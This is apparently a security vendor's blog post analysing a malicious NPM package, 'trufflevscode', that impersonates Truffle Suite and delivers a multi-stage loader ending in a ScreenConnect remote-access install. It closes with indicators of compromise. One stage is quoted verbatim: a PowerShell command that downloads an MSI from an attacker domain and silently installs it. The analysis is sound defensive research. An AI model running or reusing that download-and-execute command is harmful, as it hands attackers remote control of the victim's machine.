The software supply chain attacks on crypto and web3 continue unabated. Today I identified a new malicious NPM package that is delivering a sophisticated multi-stage malware payload. It’s targeting web3 developers by appearing to be the popular Truffle Suite smart contract library.
What is the legitimate Truffle Suite?
First, let’s talk about what the Truffle Suite is. Truffle is a framework for building smart contracts. Its basically the scaffolding you would use if you were build a new smart contract, much like Django is a web framework or react-scripts is a framework to get started building React apps quickly.
Smart contracts are notoriously hard to secure, so frameworks like Truffle are remarkable in that they bring some standardization and hopefully securing to the industry. It’s no surprise that bad guys are targeting Truffle and other projects.
To the right you can see the legitimate Truffle NPM package that the bad guys were trying to impersonate.


What is the target of this software supply chain attack?
This particular attack appears to be targeting the Truffle Suite plugin for Microsoft’s VS Code editor. VSCode is a popular IDE published by Microsoft. It has a healthy ecosystem of plugins or extensions that users can enable to provide additoinal functionality to their VSCode editor.
Truffle Suite has had a legitimate VSCode plugin for years. You can find the legitimate plugin at https://marketplace.visualstudio.com/items?itemName=trufflesuite-csi.truffle-vscode.
The VSCode plugin from Truffle provides native IDE debugging and makes it easier for developers to start with Ethereum/Solidity smart contracts with built-in functionality.
Okay, so we know who the target is, let’s take a look at the attack. First and foremost, our tool GitHax alerted that the trufflevscode NPM package is malicious. So, as usual, we dug in.

Let’s dig into the trufflevscode package
I took a look at the package.json which wasn’t remarkable in any way. No pre- or post-install scripts were being used.
The first red flags that I noticed was that there were only two files in the package (package.json and index.js). The package.json file was benign, but when I analyzed the index.js file it was heavily obfuscated.
This file had multiple obfuscation layers, but towards the bottom of the file there was a domain name in clear text.
Stage one
My spidey sense was going off as this was a pretty clear signal early on that this package was malicious. Oddly, the heavily obfuscated Javascript file was calling a Windows batch file (.bat). This batch file feels like a potential second-stage loader.
Let’s drill into the 212.bat file. Sorry for the really tiny text but I thought it was important to show the whole 212.bat file so you could really understand how grotesque the obfuscation has made it.
Introducing the ABOBAS obfuscator
Whoa! That’s some crazy obfuscation!
I’ve seen this before: The 212.bat file was obfuscated using a batch obfuscator named ABOBUS, originally written in 2022. This obfuscator is well-executed and does an outstanding job of obfuscating batch files. I’ve seen threat actors use ABOBAS even if they aren’t deploying a Windows payload. It’s that good at hiding the true nature of a batch file.
However, using ABOBAS has a downside in the sense that if I see it being used in a package, I know there’s a malicious payload there, and I will focus on that package until I know what it does.
Stage two
The first thing the 212.bat file did was to use Powershell to download a .dll file from the same site named MLANG.dll and hide it in a temp directory.
The malware then tries to start the werfault.exe Windows error reporting tool. My guess is that they are trying to side-load the DLL file to deliver an attack similar to this malware campaign.
That .dll file appears to be written in C++ and does several things: First, it uses Powershell to download another file with the command:
powershell -Command “Invoke-WebRequest -Uri ‘https://scare.su/files/haha.msi’ -OutFile ‘C:\Users\Win10-Server\AppData\Local\Temp\your.msi’; Start-Process msiexec -ArgumentList ‘/i “C:\Users\Win10-Server\AppData\Local\Temp\your.msi” /quiet /norestart’ -Wait;”
Stage 3
The .dll delivers the last stage of the payload: a 13MB msi from the same malicious website hxxps://scare[.]su/files/haha.msi. The Powershell script renames the file locally to “your.msi” and executes it.
What does the malware do?
The haha.msi (renamed to your.msi) file downloaded in that third stage installs a custom ScreenConnect remote desktop application on the compromised Windows host. The MSI has a built-in product key and connection configuration that points to a server in Russia, so once it’s installed, it will immediately try to connect to the server provided in the MSI. Once installed, it would connect back to the attackers and give them control of the computer. I analyzed the MSI file, and I’ve highlighted the ScreenConnect server and client key in the image below. This is gnarly stuff.
When you run the haha.msi installer it silently installs the ScreenConnect client on your local system. After installing, it not-so-silently connects to hxxps://web[.]winserve[.]ru automatically.

If you browse to that hxxps://web[.]winserve[.]ru website you’ll see that there is an active ScreenConnect service running there.
Who did this, and why?
Okay, so we know that the NPM package installs and runs multiple batch files and binaries but let’s drill in a bit more. Where are these servers running? What do we know about the author?
The winserve[.]ru website is obviously Russian, but the scare[.]su website is also Russian. The .su TLD stands for “Soviet Union”. Why the authors used domains that were obviously Russian, I don’t know. They wouldn’t have been targeting Russian companies as that’s looked down on and rarely happens. My only guess is that the .ru and .su domains are just cheaper.
The winserve[.]ru domain is new and was registered on January 5th, 2025. The web[.]winserve[.]ru subdomain is also new and the DNS record was created the same day.
The scare[.]su domain was registered December 28, 2024 and an apex dns record created the same day. That means that both domains used in this attack were created at the same time.
The scare[.]su domain is hosted in Cloudflare. The web.winserve.ru DNS record resolves to 185.254.198.87, and it is hosted by Virtual Systems LLC, a Ukrainian company. That same IP address is used by two other domains as well:
- web[.]opcortos[.]site – This takes you to the same screenconnect website as web[.]winserve[.]ru
- fashiononeblogg[.]com – this domain seems dormant
Let’s go back to the package.json file included in the package. It lists the NPM user as “truffledev” and the email address jaydenmynster@gmail.com. This email address has to exist as NPM uses it to validate the NPM user when their account is created.
I googled that email, and I got one hit for a website twitch[.]tj that was registered with that same email on January 13, 2025.
That domain has one DNS record which points at a web server. I browsed to the twitch[.]tj website which says that the account has been suspended.
But does EDR or anti-virus tooling detect this as malware?
The answer is yes and no. I used ClamAV, SentinelOne and Virustotal to test the three malicious artifacts that this attack uses.
The 212.bat file is not being detected by any of the major EDR or anti-virus vendors.
But all is not lost! The MLANG.dll file is correctly being identified as malicous by most of the major EDR and anti-virus vendors.
Maybe this particular component is being reused across different threat campaigns and that explains why its being detected?
Indicators of Compromise (IOCs)
Based on my research the “trufflevscode” NPM packages has several IOCs all of which can be found at the trufflevscode record in the GitHax portal.
NPM Packages:
trufflevscode version 42.0.0
Files:
212.bat sha256 hash:
2c76036ec0869f6b41bd8f7c75cc234627a8c00ea43c49991cc30eb0b5238d40
haha.msi (your.msi) sha256 hash:
1b2d956e3eded3e7220e3ff61ee9d7da8b14958a178f249c466c81fbfa220a2b
MLANG.dll sha256 hash:
52a5d6967e04b1682a200a70e7ddd903e140225d7f7bce619a643544929b857a
Email addresses:
Jaydenmynster@gmail.com
Domains:
scare[.]su
winserve[.]ru
twitch[.]tj
web[.]opcortos[.]site
fashiononeblogg[.]com
This one was a fun one. Multi-stage loader, Russian origin, complicated obfuscation….
All of the above IOCs are in the GitHax portal, so if you want to check it out, please visit https://githax.com. If you would like access to the threat portal, or a demo, you can email us at https://githax.com/contact.html
Thanks for reading!